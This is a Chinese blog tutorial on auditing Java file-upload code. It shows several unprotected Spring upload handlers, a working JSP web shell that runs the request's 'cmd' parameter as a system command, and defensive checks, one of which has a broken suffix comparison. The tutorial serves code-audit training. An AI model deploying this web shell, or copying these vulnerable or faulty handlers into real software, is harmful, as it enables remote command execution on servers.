• [Java代码审计]—文件上传漏洞


    环境配置

    Springboot:2.7.5

    依赖

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
        </dependency>
    
        <dependency>
            <groupId>commons-fileupload</groupId>
            <artifactId>commons-fileupload</artifactId>
            <version>1.2.2</version>
        </dependency>
        
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.0.1</version>
        </dependency>
    </dependencies>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    application.yml

    spring:
      mvc:
        view:
          prefix: /WEB-INF/jsp/
          suffix: .jsp
      web:
        resources:
          static-locations: classpath:/templates/
    
    
    server:
      port: 8081
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    前置知识

    multipart/form-data

    multipart/form-data这种编码方式的表单会以二进制流的方式来处理表单数据,这种编码方式会把文件域指定文件的内容也封装到请求参数里。通常会见到配合method=post去搭配使用,而后端采取inputstream等方式读取客户端传入的二进制流来处理文件。

    00截断问题

    PHP中:PHP<5.3.29,且GPC关闭

    Java中:

    同时考虑到00截断绕过的问题,在JDK1.7.0_40(7u40)开始对\00进行了检查:

    final boolean isInvalid(){
        if(status == null){
            status=(this.path.indexOf('\u0000')<0)?PathStatus.CHECKED:PathStatus.INVALID;
        }
        return status == PathStatus.INVALID;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在7u40后这个问题也就修复了

    表单中的enctype

    • application/x-www-form-urlencoded:默认编码方式,只处理表单中的value属性值,这种编码方式会将表单中的值处理成URL编码方式
    • multipart/form-data:以二进制流的方式处理表单数据,会把文件内容也封装到请求参数中,不会对字符编码
    • text/plain:把空格转换为+ ,当表单action属性为mailto:URL形式时比较方便,适用于直接通过表单发送邮件方式

    处理文件时常用方法

    separatorChar

    主要用来做分隔符,防止因为跨平台时各个操作系统之间分隔符不一样出现问题

    public static final char separatorChar
    
    • 1

    与系统有关的默认名称分隔符。此字段被初始化为包含系统属性 file.separator 值的第一个字符。在 UNIX 系统上,此字段的值为 ‘/’;在 Microsoft Windows 系统上,它为 ‘\’

    separator

    主要用来做分隔符,防止因为跨平台时各个操作系统之间分隔符不一样出现问题

    public static final String separator = "" + separatorChar;
    
    • 1

    其实separator是由separatorChar转换成的,所以只是类型不同

    equalsIgnoreCase

    将字符串与指定的对象比较,不考虑大小写。文件上传中主要用于判断文件文件后缀名

    可以与equlas对比来看,s1和s2只有大小写不同,如果用equals则返回false,equalsIgnoreCase返回true

    String s1 = "SENTIMENT";
    String s2 = "sentiment";
    System.out.println(s1.equals(s2));              //false
    System.out.println(s1.equalsIgnoreCase(s2));    //true
    
    • 1
    • 2
    • 3
    • 4

    常见文件上传方式

    文件流上传

    @RequestMapping("/upload1")
    public String fileUpload(@RequestParam("file") MultipartFile file, HttpServletRequest request) throws IOException {
        String path = request.getServletContext().getRealPath("upload");
        String filename = file.getOriginalFilename();
        if (file.isEmpty()) {
            return "请上传文件";
        }
        try {
            OutputStream fos = new FileOutputStream(path + "/" + filename);
            InputStream fis = file.getInputStream();
            int len;
            while ((len = fis.read()) != -1) {
                fos.write(len);
            }
            fos.flush();
            fos.close();
            fis.close();
            return "Success!";
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        return "";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    上传入口

    <h1>文件流上传h1>
    <form method="POST" enctype="multipart/form-data" action="http://127.0.0.1:8081/upload1">
      <input type="file" name="file">
      <input type="submit" name="submit">
    form>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    MultipartFile方式上传

    MultipartFile常用方法

    • String getOriginalFilename():获取上传文件的原名
    • InputStream getInputStream():获取文件流
    • void transferTo(File dest):将上传文件保存到一个目录文件中
    • String getContentType():获取上传文件的MIME类型
    @RequestMapping("/file2")
    public String MultiFileUpload(@RequestParam("file") MultipartFile file ,HttpServletRequest request) {
        if (file.isEmpty()) {
            return "请上传文件";
        }
        String filePath = request.getServletContext().getRealPath("upload");
        String fileName = file.getOriginalFilename();
    
        File dest = new File(filePath + File.separator + fileName);
        if (!dest.getParentFile().exists()) {
            dest.getParentFile().mkdirs();
        }
        try {
            file.transferTo(dest);
            return "Success!";
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    若要对上传内容进行限制则可设置:

    springboot

    spring:
      servlet:
        multipart:
          enabled: true
          # 单文件大小
          max-file-size: 100MB
          # 文件达到多少磁盘写入
          file-size-threshold: 4MB
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    springmvc

    <bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
    	
        <property name="defaultEncoding" value="utf-8"/>
    	
        <property name="maxUploadSize" value="10485700"/>
        
        <property name="maxInMemorySize" value="409600"/>
    bean>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    上传入口

    <h1>MultipartFile上传h1>
    <form method="POST" enctype="multipart/form-data" action="http://127.0.0.1:8081/upload2">
      <input type="file" name="file">
      <input type="submit" name="submit">
    form>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    ServletFileUpload上传

    基于Commons-FileUpload组件

    依赖

    <dependency>
        <groupId>commons-fileuploadgroupId>
        <artifactId>commons-fileuploadartifactId>
        <version>1.2.2version>
    dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    Springboot环境需关闭multipart

    spring:
      servlet:
        multipart:
          enabled: false
    
    • 1
    • 2
    • 3
    • 4

    创建步骤

    • 创建磁盘工厂:DiskFileItemFactory factory = new DiskFileItemFactory();
    • 创建处理工具:ServletFileUpload upload = new ServletFileUpload(factory);
    • 设置上传文件大小:upload.setFileSizeMax(3145728);
    • 接收全部内容:List items = upload.parseRequest(request);
    @RequestMapping("/upload3")
    protected void ServletFileUpload(HttpServletRequest request, HttpServletResponse response) throws IOException {
        {
            //设置文件上传路径
            String filePath = request.getServletContext().getRealPath("upload");
            File uploadFile = new File(filePath);
            //若不存在该路径则创建之
            if (!uploadFile.exists() && !uploadFile.isDirectory()) {
                uploadFile.mkdir();
            }
    
    
            try {
                //创建一个磁盘工厂
                DiskFileItemFactory factory = new DiskFileItemFactory();
                //创建文件上传解析器
                ServletFileUpload fileupload = new ServletFileUpload(factory);
                //三个照顾要上传的文件大小
                fileupload.setFileSizeMax(3145728);
                //判断是否为multipart/form-data类型,为false则直接跳出该方法
                if (!fileupload.isMultipartContent(request)) {
                    return;
                }
                //使用ServletFileUpload解析器解析上传数据,解析结果返回的是一个List集合,每一个FileItem对应一个Form表单的输入项
                List<FileItem> items = fileupload.parseRequest(request);
                for (FileItem item : items) {
                    //isFormField方法用于判断FileItem类对象封装的数据是否属于一个普通表单字段,还是属于一个文件表单字段,如果是普通表单字段则返回true,否则返回false。
                    if (item.isFormField()) {
                        String name = item.getFieldName();
                        //解决普通输入项的数据的中文乱码问题
                        String value = item.getString("UTF-8");
                        String value1 = new String(name.getBytes("iso8859-1"), "UTF-8");
                        System.out.println(name + " : " + value);
                        System.out.println(name + " : " + value1);
                    } else {
                        //获得上传文件名称
                        String fileName = item.getName();
                        System.out.println(fileName);
                        if (fileName == null || fileName.trim().equals("")) {
                            continue;
                        }
                        //注意:不同的浏览器提交的文件名是不一样的,有些浏览器提交上来的文件名是带有路径的,如:  c:\a\b\1.txt,而有些只是单纯的文件名,如:1.txt
                        //处理获取到的上传文件的文件名的路径部分,只保留文件名部分
                        fileName = fileName.substring(fileName.lastIndexOf(File.separator) + 1);
                        //获取item中的上传文件的输入流
                        InputStream is = item.getInputStream();
                        FileOutputStream fos = new FileOutputStream(filePath + File.separator + fileName);
                        byte buffer[] = new byte[1024];
                        int length = 0;
                        while ((length = is.read(buffer)) > 0) {
                            fos.write(buffer, 0, length);
                        }
                        is.close();
                        fos.close();
                        item.delete();
                    }
                }
                response.getWriter().write("Success!");
            } catch (FileUploadException e) {
                e.printStackTrace();
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63

    上传入口

    <h1>ServletFileUpload上传h1>
    <form method="POST" enctype="multipart/form-data" action="http://127.0.0.1:8081/upload3">
      <input type="file" name="file">
      <input type="submit" name="submit">
    form>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    Servlet Part上传

    Servlet3之后,有提出了request.getParts()获取上传文件的方式。

    除此外若加上注解@MultipartConfig,则可定义一些上传属性

    方法类型是否可选作用
    fileSizeThersholdint当前数据量大于该值时,内容将被写入文件
    locationString存放文件的路径
    maxFileSizelong允许上传的文件最大值,默认为-1,表示没有限制
    maxRequestSizelong针对multipart/form-data 请求的最大数量,默认为-1,表示没有限制

    ServletPart常用方法

    • String getName()  获取这部分的名称,例如相关表单域的名称
    • String getContentType()  如果Part是一个文件,那么将返回Part的内容类型,否则返回null(可以利用这一方法来识别是否为文件域)
    • Collection getHeaderNames()  返回这个Part中所有标头的名称
    • String getHeader(String headerName)  返回指定标头名称的值
    • void write(String path)  将上传的文件写入服务器中项目的指定地址下,如果path是一个绝对路径,那么将写入指定的路径,如果path是一个相对路径,那么将被写入相对于location属性值的指定路径。
    • InputStream getInputStream()  以inputstream的形式返回上传文件的内容
    @RequestMapping("/upload4")
    public void ServletPartUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String filePath = request.getServletContext().getRealPath("upload");
        File uploadFile = new File(filePath);
        //若不存在该路径则创建之
        if (!uploadFile.exists() && !uploadFile.isDirectory()) {
            uploadFile.mkdir();
        }
        //通过表单中name属性值,获取filename
        Part part = request.getPart("file");
        if(part == null) {
            return ;
        }
        String filename = filePath + File.separator + part.getSubmittedFileName();
        part.write(filename);
        part.delete();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    文件上传入口

    <h1>ServletPart上传h1>
    <form method="POST" enctype="multipart/form-data" action="http://127.0.0.1:8081/upload4">
      <input type="file" name="file">
      <input type="submit" name="submit">
    form>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    文件上传漏洞

    上述都是no waf的文件上传方式,若不做任何防御的情况下,可以实现任意文件上传,造成文件上传漏洞

    通过上述任意方法,上传jsp马

    <%
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int a;
            byte[] b = new byte[1024];
            out.print("
    ");
            while((a=in.read(b))!=-1){
                out.println(new String(b,0,a));
            }
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    执行成功
    在这里插入图片描述

    防御

    content-type白名单

    //1、MIME检测
        String contentType = file.getContentType();
        String[] white_type = {"image/gif","image/jpeg","image/jpg","image/png"};
        Boolean ctFlag = false;
        for (String suffix:white_type){
            if (contentType.equalsIgnoreCase(suffix)){
                ctFlag = true;
                break;
            }
        }
        if (!ctFlag){
            return "content-type not allow";
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    如果单设置这一个的话其实很好绕过

    重命名文件

    可以用uuid、md5、时间戳等方式

    //2、重命名文件
    String uuid = UUID.randomUUID().toString();
    fileName = uuid+fileName.substring(fileName.lastIndexOf("."));;
    
    • 1
    • 2
    • 3

    后缀白名单

    //3、后缀白名单
    String fileSuffix = fileName.substring(fileName.lastIndexOf("."));
    String[] white_suffix = {"gif","jpg","jpeg","png"};
    Boolean fsFlag = false;
    for (String suffix:white_suffix){
        if (contentType.equalsIgnoreCase(fileSuffix)){
            fsFlag = true;
            break;
        }
    }
    if (!fsFlag){
        return "suffix not allow";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    绕过MIME检测后,可以通过白名单进行进一步的防御
    在这里插入图片描述

    修改存储位置

    可以将图片存放到不可访问的路径,例如:Servlet的WEB-INF下,默认情况是访问不到的

    //4、修改存储位置
    String filePath = request.getServletContext().getRealPath("/WEB-INF/upload");
    
    • 1
    • 2

    最终代码

     public String MultiFileUpload(@RequestParam("file") MultipartFile file ,HttpServletRequest request) {
            if (file.isEmpty()) {
                return "请上传文件";
            }
    
    //        String filePath = request.getServletContext().getRealPath("upload");
            String fileName = file.getOriginalFilename();
            //1、MIME检测
            String contentType = file.getContentType();
            String[] white_type = {"image/gif","image/jpeg","image/jpg","image/png"};
            Boolean ctFlag = false;
            for (String suffix:white_type){
                if (contentType.equalsIgnoreCase(suffix)){
                    ctFlag = true;
                    break;
                }
            }
            if (!ctFlag){
                return "content-type not allow";
            }
            //2、重命名文件
            String uuid = UUID.randomUUID().toString();
            fileName = uuid+fileName.substring(fileName.lastIndexOf("."));;
            //3、后缀白名单
            String fileSuffix = fileName.substring(fileName.lastIndexOf("."));
            String[] white_suffix = {"gif","jpg","jpeg","png"};
            Boolean fsFlag = false;
            for (String suffix:white_suffix){
                if (contentType.equalsIgnoreCase(fileSuffix)){
                    fsFlag = true;
                    break;
                }
            }
            if (!fsFlag){
                return "suffix not allow";
            }
            //4、修改存储位置
            String filePath = request.getServletContext().getRealPath("/WEB-INF/upload/");
            File dest = new File(filePath + File.separator + fileName);
            if (!dest.getParentFile().exists()) {
                dest.getParentFile().mkdirs();
            }
            try {
                file.transferTo(dest);
                return "Success!";
            } catch (IOException e) {
                e.printStackTrace();
            }
            return "";
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    代码审计中常见文件上传关键字

    DiskFileItemFactory
    @MultipartConfig
    MultipartFile
    File
    upload
    InputStream
    OutputStream
    write
    fileName
    filePath
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    参考链接

    Java审计之文件上传 - Zh1z3ven - 博客园 (cnblogs.com)

    javasec_study/java代码审计-文件操作.md at master · proudwind/javasec_study (github.com)

    JAVA审计-文件上传 - N0r4h - 博客园 (cnblogs.com)

    《网络安全Java代码审计实战》

  • 相关阅读:
    文本相似度 Text Similarity
    【PHP】Workerman开源应用容器的GatewayWorker 与 iOS-OC对接
    制作一个简单HTML西安旅游网页(HTML+CSS)
    深入实战:构建现代化的Web前端应用
    变频器调试工具:ABB Drive Composer
    java 网络编程Socket
    保护服务器免受攻击:解析攻击情境与解决之道
    js生成图片的多边形科技感效果
    2024年阿里云2核4G云服务器性能如何?价格便宜有点担心
    Jina AI 已完成 A 轮融资,将继续研发新产品
  • 原文地址:https://blog.csdn.net/weixin_54902210/article/details/127700409